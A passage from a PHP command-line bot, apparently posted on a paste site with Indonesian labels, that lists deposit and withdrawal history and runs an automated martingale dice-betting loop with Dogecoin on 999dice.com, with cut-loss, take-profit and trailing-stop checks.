  1237. echo $r.$pth."[1]$ijo transaksi deposite".$t;
  1238.  
  1239. echo $r.$pth."[2]$ijo transaksi Withdrawals".$t;
  1240.  
  1241. $ops = readline($pth."get transaksi: ");strip();
  1242.  
  1243. if( $ops == 1 ){ $tipe = "GetDeposits"; }
  1244.  
  1245. if( $ops == 2 ){ $tipe = "GetWithdrawals"; }
  1246.  
  1247. $his = his( $sesi,$tipe );
  1248.  
  1249. if( $his["Transfers"] ){
  1250.  
  1251. echo $ijo."transaksi transfer internal".$t; strip();
  1252.  
  1253. foreach( $his["Transfers"] as $key => $val ){
  1254.  
  1255. if($ops==2){
  1256.  
  1257. if($val["Completed"]){ $status = $ijo."Completed";
  1258.  
  1259. }else{ $status = $kn."pending"; }
  1260.  
  1261. $cur = $val["Currency"];
  1262.  
  1263. $amo = $val["Value"]/$rate[$cur];
  1264.  
  1265. $acc = $val["AccountId"];
  1266.  
  1267. echo $pth.$r."date : ".$tr.$val["Requested"].$t;
  1268.  
  1269. echo $pth.$r."addres: ".$tr.$val["Address"].$t;
  1270.  
  1271. echo $pth.$r."amount: ".$tr.$amo." $cur".$t;
  1272.  
  1273. echo $pth.$r."acc_id: ".$ijo.$acc.$t;
  1274.  
  1275. echo $pth.$r."status: ".$tr.$status.$t;
  1276.  
  1277. strip();}
  1278.  
  1279. if( $ops==1 ){
  1280.  
  1281. $cur = $val["Currency"];
  1282.  
  1283. $amo = $val["Value"]/$rate[$cur];
  1284.  
  1285. $acc = $val["AccountId"];
  1286.  
  1287. echo $pth.$r."date : ".$tr.$val["Date"].$t;
  1288.  
  1289. echo $pth.$r."addres: ".$tr.$val["Address"].$t;
  1290.  
  1291. echo $pth.$r."amount: ".$tr.$amo." $cur".$t;
  1292.  
  1293. echo $pth.$r."acc_id: ".$ijo.$acc.$t;
  1294.  
  1295. strip(); } }
  1296.  
  1297. }
  1298.  
  1299. if($his["Deposits"]){
  1300.  
  1301. echo $ijo."transaksi deposite".$t; strip();
  1302.  
  1303. foreach($his["Deposits"] as $key=>$val){
  1304.  
  1305. echo $pth.$r."date : ".$tr.$val["Date"].$t;
  1306.  
  1307. echo $pth.$r."tipe : ".$tr.$val["Currency"].$t;
  1308.  
  1309. echo $pth.$r."addr : ".$tr.$val["Address"].$t.$pth;
  1310.  
  1311. echo $r."amount:$tr ".round($val["Value"]/$rate[$val["Currency"]]).$t;
  1312.  
  1313. strip(); } }
  1314.  
  1315. elseif($his["Withdrawals"]){
  1316.  
  1317. echo $ijo."transaksi withdrawal".$t; strip();
  1318.  
  1319. foreach( $his["Withdrawals"] as $key => $val ){
  1320.  
  1321. if($val["Completed"]){ $status = $ijo."Completed";
  1322.  
  1323. }else{ $status = $kn."pending"; }
  1324.  
  1325. $cur = $val["Currency"];
  1326.  
  1327. $amo = $val["Value"]/$rate[$cur];
  1328.  
  1329. echo $pth.$r."date : ".$tr.$val["Requested"].$t;
  1330.  
  1331. echo $pth.$r."addres: ".$tr.$val["Address"].$t;
  1332.  
  1333. echo $pth.$r."amount: ".$tr.$amo." $cur".$t;
  1334.  
  1335. echo $pth.$r."fee : ".$tr.$val["Fee"]/$rate[$cur]." $cur".$t;
  1336.  
  1337. echo $pth.$r."status: ".$tr.$status.$t;
  1338.  
  1339. strip(); } }
  1340.  
  1341. }
  1342.  
  1343. // ---------------------------------------------------------- //
  1344.  
  1345. if( $ops == 5 ){
  1346.  
  1347. echo $pth.$r."[1]$ijo mode normal".$t;
  1348.  
  1349. echo $pth.$r."[2]$ijo mode extrime ".$t;
  1350.  
  1351. echo $pth.$r."[3]$ijo custom betset".$t;
  1352.  
  1353. strip();
  1354.  
  1355. $mod = readline("mode> "); clr($clr);
  1356.  
  1357. $ws = 1;
  1358.  
  1359. $l = 1;
  1360.  
  1361. $saldo = round(bal($sesi,"doge")/$rate["doge"],5);
  1362.  
  1363. $bal = $saldo;
  1364.  
  1365. if($mod == 2 ){
  1366.  
  1367. $step = 30;
  1368.  
  1369. $hilo = "lo";
  1370.  
  1371. $marti = 2;
  1372.  
  1373. $cen = 50;
  1374.  
  1375. $max = 4;
  1376.  
  1377. $ups = 2;//200% martingle
  1378.  
  1379. $mode = "extrime";
  1380.  
  1381. $ico = $kn."[E]";
  1382.  
  1383. $risk = 0;// makin besar amkin aman
  1384.  
  1385. $start_bet = auto_lot2($saldo,$risk,$marti);
  1386.  
  1387. $bet = round($start_bet["bet"],5);
  1388.  
  1389. }
  1390.  
  1391. elseif($mod == 3 ){
  1392.  
  1393. $step = 10;
  1394.  
  1395. $mode = "custom betset";
  1396.  
  1397. $ico = $kn."[C]";
  1398.  
  1399. $get = json_decode(file_get_contents($cfg),1);
  1400.  
  1401. if(!$get["betset"]){
  1402.  
  1403. $getset = addset();
  1404.  
  1405. $getset = $get["betset"];
  1406.  
  1407. $bet = $getset["base"];
  1408.  
  1409. $hilo = $getset["hilo"];
  1410.  
  1411. $marti = $getset["iflose"];
  1412.  
  1413. $cen = $getset["chance"];
  1414.  
  1415. $max = $getset["max"];
  1416.  
  1417. $ups = $marti-1;
  1418.  
  1419. } else {
  1420.  
  1421. $getset = $get["betset"];
  1422.  
  1423. $bet = $getset["base"];
  1424.  
  1425. $hilo = $getset["hilo"];
  1426.  
  1427. $marti = $getset["iflose"];
  1428.  
  1429. $cen = $getset["chance"];
  1430.  
  1431. $max = $getset["max"];
  1432.  
  1433. $ups = $marti-1;
  1434.  
  1435. }
  1436.  
  1437. clr($clr); strip();
  1438.  
  1439. foreach($getset as $key => $val ){ echo $r.$key.$r." : ".$val.$t; }
  1440.  
  1441. strip();}
  1442.  
  1443. else{
  1444.  
  1445. $step = 10;
  1446.  
  1447. $hilo = "lo";
  1448.  
  1449. $marti = 2;
  1450.  
  1451. $cen = 50;
  1452.  
  1453. $max = 1;
  1454.  
  1455. $ups = 1;// 100% martingle
  1456.  
  1457. $mode = "normal";
  1458.  
  1459. $ico = $ijo."[N]";
  1460.  
  1461. $risk = 1;// makin besar amkin aman
  1462.  
  1463. $start_bet = auto_lot2($saldo,$risk,$marti);
  1464.  
  1465. $bet = round($start_bet["bet"],5);
  1466.  
  1467. }
  1468.  
  1469. $base = $bet;
  1470.  
  1471. $chance= $cen;
  1472.  
  1473. $nmax = $max;
  1474.  
  1475. $up = $ups;
  1476.  
  1477. $tm = time();
  1478.  
  1479. $stop = 0-$step;
  1480.  
  1481. $avgw = 0;
  1482.  
  1483. $avgl = 0;
  1484.  
  1485. $opit = 0;
  1486.  
  1487. $ts = 0;
  1488.  
  1489. $hash = get_hash( $sesi );
  1490.  
  1491. echo $r.$pth."running mode$ijo $mode ".$t;
  1492.  
  1493. $tget = readline("target profit %: ");
  1494.  
  1495. if(!is_numeric($tget) OR !$tget ){ $tget = 1000; }
  1496.  
  1497. $target = round($saldo*$tget/100);
  1498.  
  1499. $echo = $pth."start bet:$ijo $bet ";
  1500.  
  1501. $echo .= $pth."target:$ijo $target ";
  1502.  
  1503. $echo .= $pth."Good luck ";
  1504.  
  1505. echo $echo.$t; strip();
  1506.  
  1507. // -----------------------------------------------
  1508.  
  1509. while(true):
  1510.  
  1511. $betset = [
  1512.  
  1513. "bet" => $bet,
  1514.  
  1515. "max" => $max,
  1516.  
  1517. "rate" => $rate,
  1518.  
  1519. "base" => $base,
  1520.  
  1521. "up" => $up,
  1522.  
  1523. "chance" => $chance,
  1524.  
  1525. "hilo" => $hilo ];
  1526.  
  1527. $ts = time()-$tm;
  1528.  
  1529. if ( $ts>600 ){
  1530.  
  1531. echo "\r \r";
  1532.  
  1533. strip();
  1534.  
  1535. $tm = time();
  1536.  
  1537. $ses = $ses+$ts;
  1538.  
  1539. $time = billing($ses);
  1540.  
  1541. echo $pth."session update$ijo $time".$t; strip(); }
  1542.  
  1543. $game = gambling2( $sesi,$hash,$betset );
  1544.  
  1545. $error= cek_error($game);
  1546.  
  1547. if($game["error"]){ loding("wait game",120); }
  1548.  
  1549. elseif($error){ echo $error.$t; break; }
  1550.  
  1551. else{
  1552.  
  1553. $bets = $game["PayIns"];
  1554.  
  1555. $wins = $game["PayOuts"];
  1556.  
  1557. $win = 0; $los = 0; $beti = 0;
  1558.  
  1559. # echo $t;
  1560.  
  1561. for( $i=0;$i<count($bets);$i++ ){
  1562.  
  1563. $bett = str_replace("-","",$bets[$i]);
  1564.  
  1565. $bett = round($bett/$rate["doge"],5);
  1566.  
  1567. $winer= $wins[$i];
  1568.  
  1569. $w = round($winer/$rate["doge"],5);
  1570.  
  1571. $win = $win+$w;
  1572.  
  1573. $los = $los+$bett;
  1574.  
  1575. $beti = $beti+$bett;
  1576.  
  1577. # echo $r.$br."hide bet$tr $bett$pth win$ijo $w".$t;
  1578.  
  1579. }
  1580.  
  1581. if($win>$los){$winer=1;}else{$winer=0;}
  1582.  
  1583. echo "\r \r";
  1584.  
  1585. $hasil = $win-$los;
  1586.  
  1587. $opit = round($opit+$hasil,3);
  1588.  
  1589. if(strpos($opit,"E")){ $opit=number_format($opit,6); }
  1590.  
  1591. $bal = $saldo+$opit;
  1592.  
  1593. $bb = round($bal);
  1594.  
  1595. $per = round($opit*100/$saldo,3);
  1596.  
  1597. if($opit > 0){
  1598.  
  1599. if($winer){
  1600.  
  1601. $profit = $ijo.$opit; }else{ $profit = $kn.$opit; }}
  1602.  
  1603. else{ $profit=$red.$opit; }
  1604.  
  1605. if($winer){ $res = $ijo."$ws|"; $l = 1; $ws++;
  1606.  
  1607. }else{ $res = $red."$l|"; $ws = 1; $l++; }
  1608.  
  1609. if(strpos($bet,"E")){ $bet=number_format($bet,6); }
  1610.  
  1611. $result = $tr."[$hilo]".$pth.$bb.$red;
  1612.  
  1613. $result .= " $ico$res$beti$r$pth profit $profit$r|$per %";
  1614.  
  1615. echo $result.$t; }
  1616.  
  1617. if($winer){
  1618.  
  1619. if($mode=="custom betset"){$bet=$getset["base"];}
  1620.  
  1621. else{
  1622.  
  1623. $bet = round($start_bet["bet"],5);}
  1624.  
  1625. $base = $bet;
  1626.  
  1627. $up = $ups;
  1628.  
  1629. $max = $nmax;
  1630.  
  1631. $chance = $cen;
  1632.  
  1633. }else{
  1634.  
  1635. $bet = round($bett*$marti,5);
  1636.  
  1637. if($mode=="extrime"){
  1638.  
  1639. if($hilo=="hi"){ $hilo="lo"; }else{ $hilo="hi"; } }
  1640.  
  1641. }
  1642.  
  1643. if($ws > $avgw ){ $avgw = $ws-1; }
  1644.  
  1645. if($l > $avgl ){ $avgl = $l-1; }
  1646.  
  1647. echo $r.$ijo."win streak$pth $avgw$red loss streak$pth $avgl ";
  1648.  
  1649. // cut loss
  1650.  
  1651. if( $bet > $bal ){
  1652.  
  1653. echo "\r \r";
  1654.  
  1655. echo $red."cutloss, sisa saldo$pth $bal".$t; break; }
  1656.  
  1657. // take profit
  1658.  
  1659. if( $opit >= $target ){
  1660.  
  1661. echo "\r \r";
  1662.  
  1663. echo $pth."target profit$ijo $per %$pth profit$ijo $profit doge".$t;
  1664.  
  1665. break; }
  1666.  
  1667. if($mode!="custom betset"){
  1668.  
  1669. // traling stop
  1670.  
  1671. $trel = $per-$step;
  1672.  
  1673. if( $trel > $stop ) { $stop = $trel; }
  1674.  
  1675. if( $stop >= $step ){ $stop = $step; }
  1676.  
  1677. if($per <= $stop ){
  1678.  
  1679. echo "\r \r";
  1680.  
  1681. echo $pth."traling stop, saldo$ijo $bb$pth profit $profit".$t;
  1682.  
  1683. $mssg = $pth."next bet$red $bet$kn ";
  1684.  
  1685. $next = readline($mssg."continue action$pth y/n: ");
  1686.  
  1687. if( $next == "n" ){ break; }
  1688.  
  1689. }
  1690.  
  1691. #elseif( $per < 0 ){ $hilo = "hi"; }
  1692.  
  1693. elseif( $avgl >= 15 && $winer && $mode=="normal" ){
  1694.  
  1695. echo "\r \r";
  1696.  
  1697. echo "force stop bot panik, saldo $bb profit $profit".$t; break; } }
  1698.  
  1699. endwhile; }
  1700.  
  1701. // ---------------------------------------------------------- //
  1702.  
  1703. }else{
  1704. echo $red."tidak dapat terhubung ke$pth https://999dice.com".$t; }
  1705. readline("press any keys to continue");endwhile;}
  1706. readline("press any keys to continue");endwhile;
Add Comment
Please, Sign In to add comment